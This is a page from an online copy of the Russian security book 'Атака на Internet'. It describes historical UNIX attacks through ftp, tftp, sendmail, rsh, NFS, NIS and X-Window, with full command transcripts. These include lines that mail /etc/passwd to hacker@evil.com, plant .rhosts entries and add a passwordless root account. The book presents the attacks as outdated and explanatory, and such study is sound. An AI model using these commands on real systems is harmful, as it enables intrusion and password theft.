А Б В Г Д Е Ж З И К Л М Н О П Р С Т У Ф Х Ц Ч Ш Щ Э Ю Я
0-9 A B C D I F G H IJ K L M N O P Q R S TU V WX Y Z #


Чтение книги "Атака на Internet" (страница 31)

   Типичные атаки
   Далее мы рассмотрим типичные атаки на UNIX-хосты, которые осуществлялись в недалеком прошлом, и попытаемся классифицировать их по предложенным типовым сценариям. Повторимся, что наша книга не является справочником по уязвимостям или учебником по взлому, поэтому в ней приводятся только атаки, которые характеризуют те или иные принципиальные проблемы безопасности UNIX. Почти все атаки даются с подробными листингами, так как потенциальный кракер все равно найдет их в Internet [22], а главное – на сегодняшний день они являются сильно устаревшими и представляют в большей степени теоретический интерес.
Атака с использованием анонимного ftp
   Анонимный ftp-сервис (обнаружить его чрезвычайно просто) мог служить легким способом получения доступа из-за частой неправильной конфигурации. Например, система могла иметь полную копию файла /etc/passwd в каталоге ~ftp/etc вместо урезанной версии со всеми вытекающими отсюда последствиями. Кроме того, можно было применить и более изощренный способ – в следующем примере домашний каталог специального пользователя ftp на victim.com доступен для записи. Это позволяет послать по почте самому себе файл /etc/passwd атакуемой машины. Для этого надо создать файл. forward в домашнем каталоге ftp, который выполняется, когда пользователю ftp посылается почта. Например:

   evil % cat forward_sucker_file
   "|/bin/mail hacker@evil.com < /etc/passwd"
   evil % ftp victim.com
   Connected to victim.com
   220 victim FTP server ready.
   Name (victim.com:hacker): ftp
   331 Guest login ok, send ident as password.
   Password: *****
   230 Guest login ok, access restrictions apply.
   ftp> ls -lga
   200 PORT command successful.
   150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
   total 5
   drwxr-xr-x 4 101 1 512 Jun 20 1991 .
   drwxr-xr-x 4 101 1 512 Jun 20 1991 ..
   drwxr-xr-x 2 0 1 512 Jun 20 1991 bin
   drwxr-xr-x 2 0 1 512 Jun 20 1991 etc
   drwxr-xr-x 3 101 1 512 Aug 22 1991 pub
   226 ASCII Transfer complete.
   242 bytes received in 0.066 seconds (3.6 Kbytes/s)
   ftp> put forward_sucker_file .forward
   43 bytes sent in 0.0015 seconds (28 Kbytes/s)
   ftp> quit
   evil % echo test | mail ftp@victim.com

   Теперь хакер может просто ждать, пока файл с паролями не будет выслан ему. Очевидно, что такая атака (как и следующая) является типичной по сценарию 2.
   Рассматривая ftp, вспомним совсем старую ошибку:

   % ftp -n
   ftp> open victim.com
   Connected to victim.com
   220 victim.com FTP server ready.
   ftp> quote user ftp
   331 Guest login ok, send ident as password.
   ftp> quote cwd ~root
   530 Please login with USER and PASS.
   ftp> quote pass ftp
   230 Guest login ok, access restrictions apply.
   ftp> ls -al /

   Если этот прием сработал, то атакующий теперь вошел в систему как суперпользователь.
   Далее мы рассмотрим более свежие «дыры» в ftp-демонах.
Использование tftp
   До сих пор существует (но почти не используется, по крайней мере в глобальных сетях) программа, подобная ftpd, – tftpd. Этот демон не требует пароля для аутентификации. Если хост предоставлял tftp без ограничения доступа (обычно с помощью установок флагов безопасности в файле inetd.conf), то атакующий получал доступ по чтению и записи к любым файлам. Например, можно было получить файл паролей с удаленной машины и разместить его в локальном каталоге /tmp:

   evil % tftp
   tftp> connect victim.com
   tftp> get /etc/passwd /tmp/passwd.victim
   tftp> quit

   Это атака по сценарию 2.
Проникновение в систему с помощью sendmail
   Sendmail – очень сложная программа, у которой всегда было много проблем с безопасностью, включая печально известную команду debug. С ее помощью, например анализируя сообщения, можно было получить некоторую информацию об удаленной системе, вплоть до номера версии. Это позволяет определить наличие в системе известных ошибок.
   Кроме того, для старых версий sendmail можно было увидеть, запущен ли псевдоним «decode», имеющий ряд проблем:

   evil % telnet victim.com 25
   connecting to host victim.com (194.94.94.94.), port 25 connection open
   220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT
   expn decode
   250 <"|/usr/bin/uudecode">
   quit

   С псевдонимом «decode» система подвергалась риску, так как злоумышленник мог изменить любые файлы, доступные для записи владельцу этого псевдонима, которым, как правило, являлся демон. Приведенный фрагмент кода помещал evil.com в файл. rhosts пользователя hacker, если он был доступен для записи:

   evil % echo «evil.com» | uuencode /home/hacker/.rhosts | mail decode@victim.com

   В части программы sendmail, отвечающей за пересылку, были две хорошо известные ошибки. Первую устранили в версии 5.59. В версиях до 5.59 evil.com добавлялся к файлу. rhosts вместе с обычными почтовыми заголовками, несмотря на сообщения об ошибках:

   % cat evil_sendmail
   telnet victim.com 25 << EOSM
   rcpt to: /home/hacker/.rhosts
   mail from: hacker
   data
   .
   rcpt to: /home/hacker/.rhosts
   mail from: hacker
   data
   evil.com
   .
   quit
   EOSM
   evil % /bin/sh evil_sendmail
   Trying 194.94.94.94
   Connected to victim.com
   Escape character is ‘^]‘.
   Connection closed by foreign host.
   evil % rlogin victim.com -l hacker
   Welcome to victim.com!
   victim %

   Вторая ошибка позволяла кому угодно задавать произвольные команды оболочки и/или пути для посылающей и/или принимающей стороны. Попытки сохранить детали в секрете были тщетными, и широкая дискуссия в эхо-конференциях привела к обнародованию того, как можно использовать некоторые ошибки. Почти все системы оказались уязвимы для подобных атак, поскольку все они имели в основе один и тот же исходный текст. Типичная атака с помощью sendmail, направленная на получение пароля, могла бы выглядеть так:

   evil % telnet victim.com 25
   Trying 194.94.94.94
   Connected to victim.com
   Escape character is ‘^]‘.
   220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
   mail from: "|/bin/mail hacker@evil.com < /etc/passwd"
   250 "|/bin/mail hacker@evil.com < /etc/passwd"... Sender ok
   rcpt to: nosuchuser
   550 nosuchuser... User unknown
   data
   354 Enter mail, end with "." on a line by itself
   .
   250 Mail accepted
   quit
   Connection closed by foreign host.
   evil %

   Из примера видно, что все атаки на sendmail идут на уровне незарегистрированного удаленного пользователя и поэтому относятся к сценарию 1.
   Атаки на доверие
   Напомним, что типичным (и самым опасным) механизмом, использующим доверие, является механизм доверенных хостов, при подключении с которых с помощью r-служб можно зарегистрироваться под любым именем, кроме root, без указания пароля. Само по себе это уже плохо, так как, вскрыв один из хостов, кракер сможет легко по цепочке добраться до следующих. Гораздо более опасно другое: если система, которую собираются атаковать, содержит шаблон «+» (в некоторых системах он устанавливается по умолчанию) в файлах, где описываются доверенные хосты, то все хосты становятся доверенными для данного.
   Другие описываемые здесь атаки на доверие также основаны на ненадежной аутентификации или ее отсутствии, поэтому все они относятся к типовому сценарию 4.
Проникновение в систему с помощью rsh
   Поскольку специальный пользователь bin, как правило, имеет доступ к ключевым файлам и каталогам, то, зарегистрировавшись как bin, может изменить файл паролей так, чтобы получить привилегии доступа root.
   Например:

   evil % whoami
   bin
   evil % rsh victim.com csh -i
   Warning: no access to tty; thus no job control in this shell...
   victim % ls -ldg /etc
   drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc
   victim % cd /etc
   victim % mv passwd pw.old
   victim % (echo toor::0:1:суперпользователь без пароля:/:/bin/sh; cat pw.old ) > passwd
   victim % ^D
   evil % rlogin victim.com -l toor
   Welcome to victim.com!
   victim #

   Несколько замечаний по поводу деталей приведенного выше метода: «rsh victim.com csh – i» используется для проникновения в систему, так как при таком запуске csh не оставляет никаких следов в файлах учета wtmp или utmp, делая rsh невидимым для finger или who. Правда, при этом удаленный командный процессор не подключается к псевдотерминалу, и полноэкранные программы (например, редакторы) работать не будут. На многих системах атака с помощью rsh (в случае успешного завершения) оставалась абсолютно незамеченной, поэтому мы рекомендуем использовать анализатор внешних tcp-подключений, который поможет обнаружить такую деятельность.
Недостатки аутентификации NFS
   NFS (Network Filesystem) – это разработанный фирмой Sun сетевой протокол для подключения удаленной файловой системы сервера к рабочей станции. К сожалению, этот протокол использует довольно слабые формы аутентификации пользователей, слишком доверяя им. Как пишут Дж. Спаффорд и С. Гарфинкел [23], «NFS позволяет пользователям на рабочей станции читать и изменять содержимое файлов, расположенных на сервере, даже без необходимости идентифицироваться на нем или вводить пароль. Эта характеристика является сердцем проблем безопасности NFS».
   И действительно, стандартная схема аутентификации, принятая в NFS, – так называемая AUTH_UNIX. При ней клиент предоставляет серверу свои UID и GID, по которым, собственно, сервер разрешает или запрещает доступ к тому или иному файлу (то есть использует стандартную схему разграничения доступа в UNIX). Таким образом, сервер полностью доверяет клиенту, а клиент-нарушитель может предстать перед сервером любым пользователем (кроме суперпользователя).
...
   Как видно, создатели все же понимали слабость такой схемы и то, что на удаленном компьютере суперпользователем (!) может быть, в сущности, кто угодно. Поэтому, даже передав серверу UID, равный нулю, злоумышленник не получит максимальные права на сервере NFS. Иначе говоря, файлы, владельцем которых является суперпользователь, защищены от подобных атак.
   Предположим, что запуск программы showmount с параметром «атакуемый хост» покажет следующее:

   evil % showmount -e victim.com
   export list for victim.com:
   /export (everyone)
   /var (everyone)
   /usr easy
   /export/exec/kvm/sun4c.sunos.4.1.3 easy
   /export/root/easy easy
   /export/swap/easy easy

   Сразу заметно, что /export и все его подкаталоги экспортируются во внешнюю среду. Предположим (это можно выяснить с помощью finger), что домашним каталогом пользователя guest является /export/foo. Теперь, владея информацией, можно осуществить первое вторжение. Для этого монтируется домашний каталог пользователя guest удаленной машины. Суперпользователь атакующей машины не сможет модифицировать файлы на файловой системе, смонтированной как NFS, а «сам» пользователь сможет! Поэтому, чтобы обмануть доверчивый NFS, надо создать фиктивного пользователя guest с тем же UID, что и на сервере, в локальном файле паролей. Далее стандартно эксплуатируется «излишнее доверие» уже r-служб, и атакующая машина victim.com вставляется в файл. rhosts в удаленном домашнем каталоге guest, что позволит зарегистрироваться в атакуемой машине, не предоставляя пароля:

   evil # mount victim.com:/export/foo /foo
   evil # cd /foo
   evil # ls -lag
   total 3
   1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
   1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
   1 drwx–x–x 9 10001 daemon 1024 Aug 3 15:49 guest
   evil # echo guest:x:10001:1:временно для взлома:/: >> /etc/passwd
   evil # su guest
   evil % echo victim.com >> guest/.rhosts
   evil % rlogin victim.com
   Welcome to victim.com!
   victim %

   Если бы victim.com не экспортировал домашние каталоги пользователей, а только каталоги с программами (скажем, /usr или /usr/local/bin), можно было бы заменить команду «троянским» конем, который выполнял бы те же операции.
   Распространенность NFS приводит к тому, что подобные атаки до сих пор являются актуальными, и, как мы увидим, они похожи на уязвимости, имеющиеся в Windows NT из-за наличия в ней механизма разделения каталогов.
Использование службы NIS
   Активный NIS-сервер управляет почтовыми псевдонимами (aliases) для доменов NIS. Подобно рассмотренным вариантам атак с помощью псевдонимов локальной почты можно было создавать почтовые псевдонимы, которые бы выполняли команды, когда им приходит почта. Например, рассмотрим создание псевдонима «foo», посылавшего по почте файл паролей на evil.com, когда на его адрес поступало любое сообщение:

   nis-master # echo foo: "| mail hacker@evil.com < /etc/passwd ">> /etc/aliases
   nis-master # cd /var/yp
   nis-master # make aliases
   nis-master # echo test | mail -v foo@victim.com

   Таким образом, становится ясно, что NIS была ненадежной службой, которая почти не имела аутентификации клиентов и серверов, и если атакующий управлял активным NIS-сервером, то он также мог бы эффективно управлять хостами клиентов (например, выполнять произвольные команды).
Особенности безопасности X-Window
   Оконная система UNIX, в отличие от оконной системы другой фирмы, является сетевой, поддерживающей сервер и клиента. Ее наличие на компьютере может быть обнаружено, в частности, с помощью сканирования портов. Порт X-Window – обычно 6000.
   Сервер X-Window аутентифицировал своих клиентов только по имени хоста, с которого они подключались. Если же он «доверял» всем хостам, то его окна могли быть захвачены или просмотрены, ввод пользователя мог быть украден, программы могли быть удаленно выполнены и т. п. Одним из методов определения уязвимости X-сервера является подсоединение к нему через функцию XOpenDisplay(). Если функция возвращает не NULL, то доступ можно получить.
   Х-терминалы, гораздо менее мощные системы, имели свои проблемы по части безопасности. Многие Х-терминалы разрешали неограниченный rsh-доступ, позволяя запустить Х-клиенты на терминале victim, перенаправляя вывод на локальный терминал:

   evil% xhost +xvictim.victim.com
   evil% rsh xvictim.victim.com telnet victim.com -display evil.com

   В любом случае администратору необходимо было продумать безопасность системы X-Window, иначе система могла подвергаться такому же риску, как и при наличии «+» в hosts.eguiv или при отсутствии пароля у root.
Чтение онлайн



1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 [31] 32 33 34 35 36 37 38 39 40 41 42 43 44 45

Навигация по сайту
Реклама


Читательские рекомендации

Информация